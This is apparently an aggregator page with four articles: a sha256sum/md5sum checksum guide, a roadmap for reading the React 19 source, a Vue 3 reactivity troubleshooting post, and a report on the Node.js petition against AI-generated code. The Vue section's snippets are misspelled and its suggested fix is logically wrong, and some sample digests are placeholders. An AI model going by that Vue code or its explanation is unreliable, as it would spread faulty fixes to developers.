普通视图

发现新文章,点击刷新页面。
昨天 — 2026年4月17日技术

sha256sum and md5sum Commands: Verify File Integrity in Linux

When you download an ISO image, a backup archive, or a large release tarball, there is no easy way to tell by looking whether the file arrived intact. A single flipped bit can break a boot image or turn a compressed archive into junk, and a compromised mirror can serve a tampered file that looks legitimate. The fix is to compare a cryptographic fingerprint of the file against a value the publisher has signed or posted somewhere you trust.

This guide shows how to use sha256sum and md5sum to generate, compare, and verify checksums on Linux, and when to use each one.

sha256sum and md5sum Syntax

Both commands follow the same form:

txt
sha256sum [OPTIONS] [FILE]...
md5sum [OPTIONS] [FILE]...

Without options, each command prints a hex digest followed by two spaces and the file name. Pass -c to verify files against a list of previously generated checksums.

sha256sum vs md5sum

The two tools do the same job: they read a file and print a fixed-length fingerprint. The difference is the algorithm and, by extension, how safe the result is against intentional tampering.

md5sum uses the MD5 algorithm and produces a 128-bit digest. MD5 is fast but has been broken for years: it is possible to construct two different files that share the same MD5 hash. Treat it as a checksum for accidental corruption only, not for authenticity or security.

sha256sum uses SHA-256 from the SHA-2 family and produces a 256-bit digest. It is the default choice for verifying downloads, release artifacts, and anything where the threat model includes a malicious middle party. Most Linux distributions publish SHA256SUMS files next to their ISO images for exactly this reason.

When in doubt, use sha256sum. Reach for md5sum only when a publisher provides MD5 values and nothing stronger, or when you need quick parity checks between known-good files.

Generating a Checksum for a File

To produce a SHA-256 digest for a single file, pass it as an argument:

Terminal
sha256sum ubuntu-24.04.2-desktop-amd64.iso
output
5e38b55d57d94ff029719342357325ed3bda38fa80054f9330dc789cd2d43931 ubuntu-24.04.2-desktop-amd64.iso

The output is one line: the hex digest, two spaces, and the file name. The same file always produces the same digest, so you can run the command again after a copy or a download and compare the values by eye.

md5sum behaves the same way:

Terminal
md5sum ubuntu-24.04.2-desktop-amd64.iso
output
2e3720b76b2f9f96edc43ec4d87d7d52 ubuntu-24.04.2-desktop-amd64.iso

Notice that the MD5 digest is shorter. That is the 128-bit hash encoded in 32 hex characters, compared with 64 hex characters for SHA-256.

Generating Checksums for Multiple Files

Both commands accept any number of file arguments and print one line per file:

Terminal
sha256sum *.tar.gz
output
b2b09c1e04b2a3a4c5d6e7f890123456789abcdef0123456789abcdef01234567 backup-2026-04-01.tar.gz
c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8091a2b3c4d5e6f708192a3b4c5d6e7f8 backup-2026-04-08.tar.gz

To save the output to a checksum file that you can share or verify later, redirect it:

Terminal
sha256sum *.tar.gz > SHA256SUMS

The resulting SHA256SUMS file can be published alongside the archives, and anyone who downloads them can run a single command to confirm that their copy matches.

Verifying a File Against a Known Checksum

The most common task is to check that a download matches the digest the publisher posted. Distributions usually ship a SHA256SUMS file that lists every release file and its digest. Change into the directory that holds both the archive and the checksum file, then pass -c:

Terminal
sha256sum -c SHA256SUMS
output
ubuntu-24.04.2-desktop-amd64.iso: OK
ubuntu-24.04.2-live-server-amd64.iso: OK

sha256sum reads each line of SHA256SUMS, recomputes the digest for the named file, and prints OK when they match. Any line whose file is missing or whose digest differs prints a clear error and causes the command to exit with a non-zero status, which is convenient in scripts.

When you only care about one file out of many, grep the relevant line into the check:

Terminal
grep "ubuntu-24.04.2-desktop-amd64.iso" SHA256SUMS | sha256sum -c -

The trailing - tells sha256sum to read the checksum list from standard input. This keeps the verification scoped to a single file without creating a second checksum file.

Comparing a File to a Published Digest

Sometimes the publisher does not provide a full SHA256SUMS file but instead shows a single digest on a release page. You can compare it directly without creating a file:

Terminal
echo "5e38b55d57d94ff029719342357325ed3bda38fa80054f9330dc789cd2d43931 ubuntu-24.04.2-desktop-amd64.iso" | sha256sum -c -
output
ubuntu-24.04.2-desktop-amd64.iso: OK

The key detail is the double space between the digest and the file name. That is the exact format sha256sum produces and expects, and a single space will cause the check to fail.

Quiet and Warn Modes

During an automated check, the per-file OK lines can be noisy. The --quiet option suppresses successful lines so only failures appear:

Terminal
sha256sum -c --quiet SHA256SUMS

If every file passes, the command prints nothing and exits with status 0. If a file fails, you see a single failure line and a non-zero exit status, which fits well in a CI job or a backup script.

To flag lines in a checksum file that are not formatted correctly, add --warn. This is helpful when the file was assembled by hand and you want to be sure every entry parses.

Common Options

The flags below are the ones you are likely to use day to day:

  • -c, --check - Read digests from a file and verify each one.
  • -b, --binary - Mark files as binary in the output (default on Linux).
  • -t, --text - Read files in text mode (rare on Linux, kept for portability).
  • --quiet - Suppress OK lines when checking.
  • --status - Print nothing; rely on the exit status alone.
  • --ignore-missing - Skip files listed in the digest file that are not present.
  • --tag - Output BSD-style tagged format, useful when mixing hash algorithms.

md5sum accepts the same flags, which makes it easy to swap one command for the other when the algorithm changes.

Quick Reference

Command Description
sha256sum file.iso Generate a SHA-256 checksum for one file
md5sum file.iso Generate an MD5 checksum for one file
sha256sum *.tar.gz > SHA256SUMS Save checksums for multiple files
sha256sum -c SHA256SUMS Verify files against a checksum list
`grep “file.iso” SHA256SUMS sha256sum -c -`
sha256sum -c --quiet SHA256SUMS Show only failures during verification

Verifying a Download End to End

Putting the pieces together, a typical download check looks like this:

Terminal
wget https://releases.ubuntu.com/24.04/ubuntu-24.04.2-desktop-amd64.iso
wget https://releases.ubuntu.com/24.04/SHA256SUMS
sha256sum -c --ignore-missing SHA256SUMS

The --ignore-missing flag keeps the check focused on the file you actually downloaded instead of failing on every other release listed in SHA256SUMS.

For full confidence, also verify the signature on SHA256SUMS itself using the publisher’s GPG key. A digest is only as trustworthy as the source you got it from, so a signed checksum file closes the loop.

Troubleshooting

Checksum mismatch on a freshly downloaded file
Re-download the file, ideally from a different mirror. The most common cause is a truncated transfer or a network error. If the second download still fails, the file on the mirror may be stale or tampered with, and you should report it to the project.

No such file or directory when running with -c
The names in the checksum file are resolved relative to the current directory. Change into the directory that holds the files, or edit the checksum file to use paths that match where the files live.

improperly formatted checksum line warnings
A single space between the digest and the file name instead of two, trailing whitespace, or Windows line endings will all trip the parser. Run dos2unix on the file or recreate it with sha256sum > SHA256SUMS to reset the format.

The MD5 digest matches but you still do not trust the file
You are right to be cautious. MD5 collisions are practical, so match an MD5 against accidental corruption only. Ask the publisher for a SHA-256 digest or a signed checksum file.

FAQ

Which is faster, sha256sum or md5sum?
md5sum is faster, sometimes noticeably so on large files. The speed difference rarely matters on modern hardware, and it is not a good reason to pick MD5 over SHA-256 for security-sensitive checks.

Can I use sha256sum on a directory?
Not directly. Hash tools operate on files. To produce a digest that represents an entire directory, pipe a deterministic listing such as find ... -type f -print0 | sort -z | xargs -0 sha256sum through another sha256sum.

Where do I find the expected digest for a Linux distro ISO?
Every major distribution publishes a SHA256SUMS or SHA512SUMS file on its download page, usually along with a detached GPG signature. Prefer those files over digests shown in third-party blog posts.

Is sha256sum available by default on Linux?
Yes. Both sha256sum and md5sum ship with the GNU coreutils package, which is installed on every mainstream Linux distribution.

Conclusion

sha256sum should be the default for verifying downloads and backups, with md5sum reserved for quick corruption checks when the publisher provides nothing stronger. When you pair a SHA-256 digest with a signed checksum file and a trusted key, you can answer the question that matters most: did I get the file the publisher actually shipped?

React 19 源码怎么读:目录结构、包关系、调试方式与主线问题

作者 倾颜
2026年4月17日 18:21

这是我持续更新的一组 React 源码解读文章,也会尽量控制单篇篇幅,按主线一点点往里拆。
这一篇先不急着扎进某个细节,而是从整体地图开始,先把 React 运行时主线和后面阅读源码时最重要的入口理顺。

前言

第一次看 React 源码时,我们最容易卡住的地方,往往不是某个函数太难,而是看着看着就失去了方向。

一开始,我们心里通常都有几个很具体的问题:想搞懂 Fiber,想知道 setState 之后到底发生了什么,也想弄明白 useEffect 为什么总像是“晚一步”执行。可真翻进仓库之后,这些问题又很快会被新的困惑打断:

  • 这个目录到底是做什么的?
  • 这段代码在整条链路里负责哪一段?
  • 我们现在看到的,是 React 的核心逻辑,还是某个边缘实现?
  • 为什么每个点都好像懂了一点,但就是连不成一条完整主线?

所以这篇文章不急着深挖某个具体实现,而是先做一件更基础、也更重要的事:

先把 React 源码的阅读地图搭起来。

这篇文章主要想回答四个问题:

  • React 仓库里哪些地方值得先看
  • reactreact-domreact-reconcilerscheduler 大概是怎么分工的
  • 一次 React 更新的大主线到底是怎么流动的
  • 刚开始读源码时,应该按什么方式推进,才不容易迷路

这里也先说明一下版本口径:这篇文章标题写的是 React 19,因为整体讨论的是 React 19 的主线机制;但在具体源码观察上,我会先以 React 19.1.1 作为基线来展开。


一、为什么很多人看 React 源码会越看越乱

React 源码难,不只是因为代码量大。

更准确地说,它难在:层次很多,入口很多,主线很长,而且每一层都不是孤立存在的。

我们表面上想搞懂的是一个问题,比如“setState 之后发生了什么”,但它背后往往会牵出一整串东西:

  • 组件更新是怎么产生的
  • update 是怎么入队的
  • Fiber 节点怎么记录这次更新
  • React 怎么决定这次更新什么时候执行
  • render 阶段到底在算什么
  • commit 阶段又是什么时候真正改 DOM 的

也就是说,React 源码不是那种“看一个函数就能闭环”的代码。它更像一套分层协作的更新系统

如果一开始没有地图感,很容易进入一种状态:每看一段代码,都能理解一点;但每理解一点,又像是零散碎片。最后脑子里只剩下一堆词:

  • Fiber
  • Scheduler
  • render
  • commit
  • lanes
  • hooks

这些词我们都见过,但它们之间到底是什么关系,反而不清楚。

所以我更倾向于把 React 源码学习的第一步放在一个更基础的问题上:

React 到底是一套什么系统?

把这个问题先看清楚,后面再去拆 Fiber、调度、Hooks、render、commit,才不容易一路走一路散。


二、先建立一张总图:React 到底是一套什么系统

如果先把 React 粗略抽象一下,我更愿意把它理解成这样一条主线:

flowchart LR
    A[JSX] --> B[ReactElement]
    B --> C[Root / Fiber]
    C --> D[调度]
    D --> E[render]
    E --> F[commit]
    F --> G[DOM / effects]

React 运行时总主线

这张图不细,但非常重要。因为它至少先帮我们看清了三件事。

1. JSX 不是 React 运行时真正处理的最终形态

我们平时写的是 JSX,但 React 运行时真正接收到的,并不是 <App /> 这段看起来像模板的代码本身,而是编译之后的一种对象描述。

所以读源码时,第一层问题不应该是“React 怎么处理 <App />”,而应该是:

<App /> 编译之后到底是什么对象?

只要这一步没有先想清楚,后面再看 Root、Fiber、更新流程,就会总觉得前面少了一层。

2. root.render(...) 不是“立刻渲染 DOM”

很多人第一次接触 React 时,会下意识把 root.render(<App />) 理解成“把组件直接渲染到页面上”。

但从源码视角看,更准确的理解应该是:

它把一份描述 UI 的对象,送进 React 自己的更新系统。

也就是说,这一步更像“发起一次更新”,而不是“立即完成渲染”。

3. React 的更新过程,本质上分成“计算”和“提交”两段

后面我们会经常看到两个词:rendercommit

可以先记住一句很关键的话:

  • render 阶段:主要是在算,算这次更新之后“应该变成什么样”
  • commit 阶段:主要是在交,真正把结果提交到宿主环境,比如浏览器 DOM

所以 React 不是“收到更新,立刻改 DOM”的直线模型。它更像这样:

描述 UI → 进入更新系统 → 被调度 → 计算结果 → 提交结果

一旦先把这张总图建立起来,后面再去看 Fiber、Hooks、调度,就不会觉得这些东西是互相割裂的黑话。


三、先别急着翻细节:React 仓库里哪些地方值得先看

第一次打开 React 仓库时,很容易被目录吓到。但从“运行时源码阅读”的角度看,我们不需要一开始就把所有目录都研究一遍。

对这条“React 运行时主线”来说,真正值得优先关注的,主要有这几个方向。

1. packages:核心代码主战场

如果我们的目标是理解这些问题:

  • JSX 产物是什么
  • createRoot 做了什么
  • Fiber 是什么
  • 更新是怎么调度的
  • render / commit 分别在做什么
  • Hooks 为什么能工作

那么后面大部分时间,基本都会待在 packages 里。

因为真正和 React 运行时主线相关的核心逻辑,主要都在这里。

所以第一次看仓库时,不要想着“从根目录往下把所有东西都扫一遍”。更有效的做法,是先建立一个习惯:

以后提到 React 源码主线,默认先去 packages 里找。

2. fixtures:最适合做最小实验场

学习源码很怕一上来就拿业务项目调试。业务代码一复杂,React 本身的调用链很容易被应用层噪音淹没。

这时候 fixtures 的价值就出来了。它更像一个实验场:当我们只想验证某一条很小的更新链路时,最小场景会比业务项目更适合观察。

3. scripts:工程支撑层

scripts 当然重要,但不是我们建立 React 主线认知的第一入口。

对第一阶段来说,知道它主要服务于构建、测试、打包、发布等工程流程,就够了。因为现在我们的目标不是“参与 React 仓库开发”,而是“先把 React 是怎么运行起来的搞清楚”。

4. 其他方向:先知道存在,不急着深挖

比如编译器、测试、工具链等方向,当然都重要。但如果我们的目标是先建立 React 运行时的整体认识,那么优先把这条主线打通,收益会更直接。

现阶段更好的策略是:

先把运行时主线搞清楚,再考虑编译器、RSC、性能优化等专题。


四、核心包关系:reactreact-domreact-reconcilerscheduler 各自负责什么

看 React 源码时,如果只记目录,不记职责,很快还是会乱。真正有用的是把几个核心包的分工先记住。

我目前更倾向于用下面这种方式去理解它们:

flowchart TB
    A[react<br/>定义 UI 描述和上层 API]
    B[react-dom<br/>浏览器宿主环境接入]
    C[react-reconciler<br/>协调与更新主链核心]
    D[scheduler<br/>调度能力支撑层]

核心包职责

下面逐个说。

1. react:定义“怎么描述 UI”

react 这一层,更像是 React 暴露给开发者的“上层接口”和“描述模型”。

我们平时写的这些东西:

  • JSX
  • 函数组件
  • Hook
  • createContext
  • memo

最后都会落到 React 定义的一套模型里。

所以从源码学习角度看,react 回答的问题更像是:

开发者是如何把 UI 和状态意图,交给 React 的?

如果继续顺着这条线往里看,很自然就会进入 JSX 编译产物和 ReactElement 这一层。

2. react-dom:浏览器环境的接入层

对前端开发者来说,最熟悉的入口通常是:

import { createRoot } from 'react-dom/client'

const root = createRoot(container)
root.render(<App />)

这说明 react-dom 这一层解决的核心问题是:

React 怎么接到浏览器这个宿主环境上?

也就是说,它更关心“把 React 应用挂到哪、怎么挂、最终怎么和 DOM 环境打交道”。

所以我们可以先把它理解成:

浏览器场景下的宿主接入层。

3. react-reconciler:真正的源码腹地

如果说:

  • react 更偏“描述层”
  • react-dom 更偏“宿主接入层”

那么 react-reconciler 才是后面真正要深挖的核心腹地。

因为我们最关心的这些东西,几乎都和它强相关:

  • Fiber
  • work loop
  • beginWork
  • completeWork
  • render 阶段
  • commit 阶段
  • 更新如何传播
  • 副作用如何收集和提交

可以先记一句非常实用的话:

React 真正“怎么处理一次更新”,大头都在 react-reconciler 这层。

如果继续往更新主链内部走,很多关键问题最终都会落到这一层。

4. scheduler:不是主角,但非常关键

这里不必一开始就把 scheduler 的细节掰得很深,但它在整套系统里的位置,我们最好先有一个整体认识。

React 之所以不再只是“同步调用 → 直接算完 → 直接提交”,背后离不开调度能力。这部分我们可以暂时理解成:

  • 什么时候做
  • 哪个先做
  • 哪个可以稍后做
  • 当前要不要让出执行机会

这些能力,不是随便塞在某个业务函数里就能完成的,所以 React 需要一层相对独立的调度支撑。

现阶段先记住一句就够了:

scheduler 提供的是调度能力支撑,不等于 React 全部逻辑本身,但它对 React 的更新模型非常关键。


五、一次 React 更新的大主线:从 JSX 到 DOM 提交

前面把目录和核心包大致摆清楚之后,接下来最重要的一步,就是把 React 的“主线流程”先跑通。

因为无论是看 createRoot、看 Fiber、看 Hooks,还是看 beginWorkcommit,本质上都还是在拆这一条主线。

我先把它再压缩成一张图:

JSX
  ↓ 编译
ReactElement
  ↓ root.render / 触发更新
Root / Fiber Root / HostRoot Fiber
  ↓ 调度
render 阶段
  ↓ 生成本次提交所需的信息
commit 阶段
  ↓
DOM 更新 / layout effect / passive effect

这一条线里,最容易搞混的是两件事:

第一,React 运行时真正处理的不是 JSX 本身,而是 JSX 编译后的 ReactElement

第二,React 并不是一收到更新就直接改 DOM,而是先经过调度、render 计算,再进入 commit 提交

所以从源码阅读角度看,后面我们遇到的大部分概念,都能挂到这条链上。

1. JSX 先变成 ReactElement

我们平时写的是:

<App count={1} />

但 React 真正接收到的,不是这段“长得像 HTML 的语法”,而是编译产物。

所以阅读源码的第一层问题,不应该是“React 怎么处理 <App />”,而应该是:

<App /> 编译之后到底是什么对象?

2. root.render(element) 把更新送进系统

对很多开发者来说,root.render(<App />) 最容易产生一个错觉:好像这行代码一执行,页面就立刻被渲染出来了。

但源码视角下,更准确的理解应该是:

root.render 负责把一份 element 更新送进 React 的根节点更新体系。

也就是说,这一步更像“发起一次更新”,而不是“直接完成渲染”。

3. Root / Fiber 系统接管这次更新

一旦更新进入系统,它就不再只是一个普通对象了。React 会把它放进 Root/Fiber 这套结构里,让后续调度、计算、提交都有地方可挂。

所以后面当我们看到这些词时,不要把它们看成独立概念:

  • Root
  • FiberRoot
  • HostRoot Fiber
  • update queue

它们其实都属于 React 这套更新系统的基础设施。

4. 调度决定“现在做不做、先做哪部分”

React 不是简单地“收到更新 → 马上全做完”。它还要决定:

  • 这次更新优先级高不高
  • 要不要马上做
  • 能不能让一部分工作稍后做
  • 当前阶段能不能让出执行机会

这时候调度层就进来了。

所以后面我们看到 lanes、调度入口、任务安排的时候,本质上是在看 React 如何安排“这次更新该怎么被执行”。

5. render 阶段负责计算结果,不直接提交

render 阶段是很多人第一次读源码时最容易误解的部分。因为“render”这个词太像“渲染到页面”。

但从源码视角看,render 阶段更准确的理解应该是:

它在算下一次要提交什么,而不是立即把结果改到页面上。

这一阶段里,React 会基于当前树和本次更新,逐步构造工作中的新树,并收集这次提交所需的信息。

所以后面我们看到:

  • beginWork
  • completeWork
  • work loop
  • flags / subtreeFlags

本质上都是 render 阶段里的核心组成。

6. commit 阶段才真正提交结果

当 render 阶段把“这次更新要做什么”算得差不多了,React 才会进入 commit 阶段。

到了这一阶段,才会真正发生这些事:

  • 插入、更新、删除 DOM
  • 执行 layout 相关副作用
  • 在后续时机执行 passive effect

所以 React 整体并不是一段线性同步逻辑,而更像一条清晰的更新流水线:

描述 UI → 发起更新 → 调度 → render 计算 → commit 提交


六、React 源码应该怎么读:按问题读,不按文件读

知道主线之后,接下来的问题就变成:

那源码到底该怎么读?

我自己的建议是:按问题读,不要按文件读。

也就是说,不要一上来就给自己定任务:“今天我要看完某个文件。”更好的方式,是先定一个问题,再去找这个问题对应的入口和调用链。

1. 先问问题,再找入口

比如我们可以先问自己这些问题:

  • JSX 编译后到底是什么
  • createRoot(container) 到底创建了什么
  • root.render(<App />) 做了什么
  • setState 之后发生了什么
  • DOM 是在 render 阶段更新,还是在 commit 阶段更新
  • Hooks 为什么必须按顺序调用

这样做的好处是,源码不再是一整片森林,而是变成了几条有明确方向的小路。

2. 每次只追一条最小闭环

很多人读源码会越看越累,还有一个原因:一开始就拿复杂场景下手。

更好的方法,是先拿一个最小例子:

const root = createRoot(container)
root.render(<App />)

或者:

function App() {
  const [count, setCount] = useState(0)
  return <button onClick={() => setCount(c => c + 1)}>{count}</button>
}

我们只追一条最短链路:

  • 这个 element 怎么进入系统
  • 这次更新怎么入队
  • 什么时候开始 render
  • 什么时候 commit
  • effect 什么时候执行

只要最小闭环走通一次,后面再看复杂场景,心里就会稳很多。

3. 先看入口函数,再看核心数据结构

源码阅读里有一个很实用的原则:

入口函数负责告诉我们“从哪里开始追”,数据结构负责告诉我们“数据是怎么流动的”。

比如:

  • 当问题落在 JSX 编译产物时,重点通常是 ReactElement 这个对象本身
  • 当问题落在应用启动时,重点通常是 Root / HostRoot Fiber 这层结构
  • 当问题落在更新如何进入系统时,重点通常是 Update、UpdateQueue、Lane
  • 当问题落在 render 过程时,重点通常是 Fiber、flags、workInProgress
  • 当问题落在 Hooks 内部机制时,重点通常是 Hook 链表以及它和 Fiber 的关系

4. 阅读源码时,最好始终问一句:它在主线里负责什么

无论我们现在看到的是:

  • 一个目录
  • 一个包
  • 一个函数
  • 一个字段
  • 一个变量名

都先问一句:

它在整条更新主线里,负责哪一段?

只要这个问题一直留在脑子里,源码阅读就不容易发散。


七、调试方式怎么选:从只读到可断点

这部分我不打算写成环境搭建教程,因为对刚开始阅读源码的人来说,更重要的还是先建立地图,再逐步进入调试。我更倾向于把调试方式分成三个层次。

1. 第一层:先只读,不着急跑全链路

刚开始时,不一定要马上把 React 仓库完整跑起来,也不一定要急着深挖每个入口。

这个阶段更重要的是:

  • 建立总图
  • 记住核心包职责
  • 知道接下来继续往里看时,核心问题会落在哪些位置
  • 对“从 JSX 到 commit”的主线有整体印象

2. 第二层:用最小 demo 打断点追入口

当我们开始进入具体主题,比如:

  • JSX 到 ReactElement
  • createRoot
  • root.render
  • setState
  • useEffect

这时候最好的方式,就是准备一个最小 demo,然后围绕一个非常具体的问题去断点。

不要想着“今天调试 React”,而要想着:

  • 今天只看 createRoot 做了什么
  • 今天只看一次 setState 怎么入队
  • 今天只看 useEffect 在什么时候被记录、什么时候被执行

问题越单一,断点越清晰,收获越大。

3. 第三层:围绕一条具体链路深挖到底

真正进入深入阶段时,我们的目标也不该是“把 React 全部调完”。更现实也更有效的目标是:

  • 把一次更新从触发到提交完整走通
  • 把一个 Hook 从调用到记录到执行完整走通
  • 把 Root、HostRoot Fiber、update queue 的关系彻底理顺

换句话说,调试不是为了证明“我能跑源码”,而是为了回答一个具体问题。


八、顺着这张地图继续往里看,我们会遇到哪些核心问题

到这里,这篇“阅读地图”其实就差不多搭完了。

如果继续顺着同一条主线往里看,接下来最核心的问题,大致会落在这些位置:

1. JSX 到 ReactElement

JSX 编译后到底是什么?React 运行时最先拿到的对象长什么样?

2. createRootroot.render

React 应用启动时,到底创建了什么?Root 和 HostRoot Fiber 是什么关系?

3. Fiber 到底是什么

Fiber 为什么不是 ReactElement,也不是 DOM?React 为什么需要 Fiber?

4. 从 setState 到调度

一次更新是怎么进入系统的?Update、UpdateQueue、Lane 分别扮演什么角色?

5. render 阶段

beginWorkcompleteWork 在做什么?render 阶段为什么不直接改 DOM?

6. commit 阶段

DOM 到底什么时候更新?layout effect 和 passive effect 分别在什么时机执行?

7. Hooks 内部原理

Hooks 为什么必须按顺序调用?useStateuseEffect 是如何挂到 Fiber 上的?

把这些问题串起来之后,React 源码在我们脑子里就不再是一堆零散名词,而会慢慢变成一条完整的更新链路。


结语

React 源码最难的地方,从来都不是某一个函数本身。

真正难的是:如果没有地图,很多细节都会看起来彼此割裂。今天看到 Fiber,明天看到 Hook,后天又看到 commit,名词越来越多,但主线反而越来越模糊。

所以在真正扎进细节之前,先把 React 当成一套系统看清楚,会让后面的阅读顺很多。

当我们先知道:

  • React 整体是一条怎样的更新主线
  • 仓库里哪些地方和这条主线直接相关
  • 四个核心包分别负责什么
  • 继续往里读时,核心问题大概会落在哪些位置

那接下来再看 ReactElement、Root、Fiber、调度、render、commit、Hooks,很多原本抽象的词,才会慢慢落地。

如果这篇“阅读地图”已经搭起来了,那么下一步最自然的切口,就是回到主线最前面,先看一个问题:

React 真正接收到的第一个核心对象,到底长什么样?

如果这篇对你有帮助,欢迎点个赞支持。后面我也会继续把这组 React 源码文章慢慢补完整。

这组源码解读文章也会同步整理到 GitHub 仓库里,方便集中查看和持续更新:

GitHub: github.com/HWYD/source…

如果觉得这组内容对你有帮助,也欢迎顺手点个 Star。

最近在做的一个 AI 项目

最近我也在持续迭代一个 AI 项目:AI Mind
如果你对 AI 应用工程化、Tool Calling、Skill Runtime、MCP 这些方向感兴趣,欢迎来看看。

GitHub: github.com/HWYD/ai-min…

如果觉得项目还不错,也欢迎顺手点个 Star。

vue3 数据响应式遇到的问题

2026年4月17日 17:56

问题背景

是在vue2项目升级vue3项目中遇到的,因为升级项目并没有使用vue的Composition api 而是使用Options api,所有复杂类型变量默认使用reactive进行响应式,问题也是从这出现的

  1. 对象数组中,使用索引值更改数据,数据变化了页面没有变化
  • 类似代码 - options api使用的是this指针方式,但是问题是一样的
cosnt arr = reactive({
  arr1:[
    {
        "name": "test",
        "name2": "test2",
        "name3": "test3",
    },
    {
        "name": "test",
        "name2": "test2",
        "name3": "test3",
    }
]  
})
arr["arr1"][0] = {"name": "test11","name2": "test22","name3": "test33",}

这个时候我们从vue3的源代码入手,分析原因,具体只需要看proxy 的 get方法

源代码地址 packages\reactivity\src\baseHandlers.ts

有个BaseReactiveHandler方法

a48ac8538ee92c0bebe96aed437525ae.png

当我们触发get方法时,如果还是复杂类型,需要在调用reactive将其转化成响应式,所以Vue的依赖收集是"按需"的,具有一种懒惰性质,层级较深的复杂类型数据不是在声明式就被全部转化成响应式,而是在获取时逐层转化的

这个时候我们回看我们的问题,当我们执行arr["arr1"][0] = {"name": "test11","name2": "test22","name3": "test33",}的时候,只触发了arr["arr1"],但是再往下层级的并没有被转化成响应式,所以此时我们可以这样去解决

consr newArr = arr["arr1"]
newArr[0] = {"name": "test11","name2": "test22","name3": "test33",}
arr["arr1"] = newArr[0]

2. 解构失去响应式

    const test = reactive({
      arr: { name: '111'}
    })
    // 解构会失去响应性!
    const { arr } = test
    // 修改 user 不会触发界面更新
    arr.name = '李四'  //界面不更新

    //解决方案
    // 1、
    const { arr } = toRefs(test)
    // 2、尽量不要解构响应式数据

3. 新增属性不响应

    const test = reactive({
      arr: { name: '111'}
    })

    // 修改 user 不会触发界面更新
    test.arr.age= 22  //界面不更新

    // 解决方法 使用 Object.assign
    Object.assign(test.arr, { age: 22 }) 

总结

所以在vue3 开发中,如果使用options api方式,就需要尽量注意多层嵌套对象,如果使用Composition api,尽量使用 ref 去定义变量,并且针对嵌套层级较深的变量最好使用ShallowRef ShallowReactive 用于优化深层嵌套对象的性能问题

请愿书:Node.js 核心代码不应该包含 AI 代码!

作者 冴羽
2026年4月17日 17:47

2026 年 3 月,一场关于 AI 生成代码的争议在 Node.js 社区掀起轩然大波。

一份请愿书在短短数天内获得超过百名开发者签名,呼吁技术指导委员会(TSC)禁止 AI 生成的代码进入核心仓库。

这场争议不仅关乎技术选择,更触及开源项目的价值观与未来走向。

1. 事件起因:1.9 万行 AI 代码引发的信任危机

2026 年 1 月 22 日,Node.js TSC 成员、Fastify 框架维护者 Matteo Collina 提交了一个震撼社区的 Pull Request(PR #61478)。

这个 PR 包含约 1.9 万行代码,覆盖 80 个文件,旨在为 Node.js 添加虚拟文件系统(VFS)功能——一个社区期待已久的特性。

然而,PR 描述中的一句话点燃了争议的导火索:

“我使用了大量的 Claude Code tokens 来创建这个 PR。我已经亲自审查了所有更改。”

这份声明立即引发了社区的激烈讨论。

尽管 Collina 是资深贡献者,但如此大规模的 AI 生成代码是否符合开发者原创性证书(DCO)的要求,成为争论焦点。

image.png

2. 请愿书:百名开发者的集体发声

3 月 18 日,Node.js 前 TSC 成员、TLS 模块主要作者 Fedor Indutny 在 GitHub 上发起请愿书,要求 TSC 投票否决“允许 AI 辅助开发”的提案,明确拒绝 LLM 生成的核心代码重写。

请愿书在 GitHub 和 Change.org 两个平台同步发布,迅速获得超过 100 名开发者签名支持,其中不乏重量级人物:《You Don‘t Know JS》作者 Kyle Simpson、Zig 软件基金会主席 Andrew Kelley、Gulp 核心维护者 Blaine Bublitz 等。

请愿书开篇即强调:Node.js 是运行在全球数百万服务器上的关键基础设施,多年来由开发者精心手写的核心代码不应被 AI 生成内容稀释,这将动摇 Node.js 的声誉根基和社会价值。

3. 反对方的 3 大核心理由

请愿书列出了反对 AI 生成代码进入核心的三个关键论点:

1. 伦理与版权风险

主流 LLM 模型的训练数据包含大量未经授权的开源代码和版权作品。AI 生成的代码可能埋下版权隐患,而 Node.js 作为全球基础设施,代码版权必须绝对清晰,不能承担潜在的法律风险。

2. 教育价值的断裂

开源项目的代码审查不仅是发现 bug,更是新人学习成长的过程。然而 LLM 无法学习,审查者投入的时间无法转化为贡献者能力的提升,长期可能导致社区出现“技术断层”,威胁项目的可持续发展。

3. 工具特权与可复现性

使用 LLM 需要付费订阅或昂贵的本地硬件。提交的生成代码应该能被审查者无需付费工具即可复现,否则会在贡献者之间制造不平等,违背开源的平等精神。此外,AI 生成的代码不可复现,审查者难以理解设计意图,审查工作从“理解架构”退化为“黑盒找 bug”。

image.png

4. 支持方的反驳观点

尽管请愿书获得广泛支持,但也有不少开发者持不同意见:

1. 问题在于 PR 规模,而非 AI 本身

许多开发者指出,1.9 万行代码的 PR 本身就违反了良好实践,无论是否使用 AI。

Linux 内核维护者 Linus Torvalds 几十年来一直拒绝过大的 PR,现有政策已足够应对。

一位开发者评论道:“即使代码完美无瑕,也没人能理解那么多变更。”

2. AI 是工具,关键在于如何使用

反对请愿书的声音认为,这是对技术进步的“恐慌式反应”。

AI 辅助开发的边界应该被明确定义:是 0% 的 LLM 生成代码(仅用于研究),还是 100% 的“氛围代码”?

如果只是辅助研究和小规模代码补全,为何要一刀切禁止?

3. 制定新政策的成本

批评者质疑:如何执行禁令?要求每个贡献者签署未使用 AI 的声明?关闭 AI 自动补全?新政策会带来流程和官僚主义的成本。一位开发者提出:“审查者已经有权拒绝劣质代码,为什么需要两个政策来解决同一个问题?”

4. 应关注代码质量而非来源

部分开发者认为,重点应该是代码的质量、可维护性和安全性,而不是代码的生成方式。如果 AI 能生成高质量、可审查的代码,为什么要排斥它?

image.png

5. 争议的深层矛盾

这场争论暴露了开源社区面临的深层次冲突:

效率与质量的权衡:AI 能大幅提升开发效率,但代价是什么?当 AI 写代码的速度超过人类审查的速度,代码质量如何保证?

开放与控制的平衡:开源精神倡导开放与包容,但关键基础设施是否需要更严格的准入标准?

进步与传统的碰撞:技术工具在演进,但开源社区“人对代码负责”的价值观是否应该坚守?

值得注意的是,请愿发起人 Fedor Indutny 在 Reddit 讨论中表示,他并非反对所有形式的自动化重构。

如果 PR 作者能编写 AST 转换脚本或其他可复现的工具来完成相同的变更,他会乐于审查。

真正的问题在于:LLM 生成的代码既不可复现,又需要付费工具,还要求审查者承担巨大的认知负担

6. 最新进展

目前,这个 1.9 万行的 PR 已被暂时阻止合并。

Node.js TSC 计划就“是否允许 AI 辅助开发”进行正式投票,结果将为整个开源社区树立先例。

这场争议已经超越了 Node.js 本身。从 Linux 内核使用 AI 修复漏洞,到 Node.js 因 AI 代码陷入治理危机,开源世界正在经历一场关于 AI 工具使用边界的集体反思。

无论最终结果如何,这场讨论都提醒我们:在拥抱新技术的同时,我们必须谨慎思考它对开源价值观、代码质量和社区文化的深远影响

image.png

